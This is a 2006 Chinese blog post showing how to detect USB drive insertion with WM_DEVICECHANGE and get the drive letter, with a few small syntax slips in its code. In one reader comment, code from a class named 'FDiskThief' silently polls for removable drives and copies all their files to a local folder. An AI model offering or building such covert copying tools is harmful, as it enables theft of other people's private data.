程序人生

撰写生活代码,等待编译美好人生
随笔 - 48, 文章 - 0, 评论 - 29, 引用 - 0
数据加载中……

WINDOWS SDK 检测U盘插入

今天一位老兄要我帮忙做一个软件,需要把在U盘插入USB接口激活之后自动把U盘里的内容拷贝到硬上。拷贝文件不难,麻烦的就是不知道怎么检测U盘是否激活,激活后又是哪个盘符。
google了一下,在MSDN上看了几个例子,找到了检测U盘插入,并确定其盘符的方法。

下面给出窗口的回调函数:
 1 LRESULT CALLBACK WndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
 2 
 3 {
 4     
 5     switch (message) 
 6     {
 7         
 8     case WM_CREATE:/*初始化*/
 9         
10         MessageBox(hWnd, "go!""405 Studio", MB_OK);
11         
12         break;
13         
14     case WM_DEVICECHANGE:
15         
16         if(wParam == DBT_DEVICEARRIVAL) //设备激活
17         {
18             PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
19             
20             PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
21             
22             char szMsg[80];
23             wsprintf (szMsg, "Drive %c: Media has arrived.\n",
24                 FirstDriveFromMask(lpdbv ->dbcv_unitmask));
25             
26             MessageBox (hWnd, szMsg, "WM_DEVICECHANGE", MB_OK);
27             
28         }
29         
30         break;
31         
32     default:
33         return DefWindowProc (hWnd, message, wParam, lParam) ;
34     }
35     
36     return 0;
37     
38 }
原理很简单检测U盘是否被插入是通过监听WM_DEVICECHANGE消息来实现的。18,19行是从WM_DEVICECHANGE的lParam里获取盘符。
FirstDriveFromMask是一个用返回盘符(A,B,C ....)的简单函数
 1 char FirstDriveFromMask (ULONG unitmask)
 2 {
 3     char i;
 4     
 5     for (i = 0; i < 26++i)
 6     {
 7         if (unitmask & 0x1)
 8             break;
 9         unitmask = unitmask >> 1;
10     }
11     
12     return (i + 'A');
13 }

posted on 2006-04-12 23:33 405 Studio 阅读(2315) 评论(2)  编辑  收藏 所属分类: Windows Programing

评论

# re: WINDOWS SDK 检测U盘插入  回复  更多评论   

请问这是怎么实现的,这种程序我也要用。谢谢
我的QQ:651764799
2006-10-08 17:05 | lsy

# re: WINDOWS SDK 检测U盘插入  回复  更多评论   

//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc='A';cc<='Z';cc++)
{
strdir.Format("%c:",cc);
if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
return strdir;
}
return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s\\*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();

if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s\\%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s\\%s",dir,foundFileName);
tempFileName2.Format("%s\\%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}

void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
m_NewFdisk=FindFdisk();

if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
{
CopyFile(m_NewFdisk);
}
if(m_NewFdisk!="")
m_OldFdisk=m_NewFdisk;
else
m_OldFdisk="NULL";
}

CDialog::OnTimer(nIDEvent);
}

2008-01-03 10:56 | 师弟

只有注册用户登录后才能发表评论。


网站导航: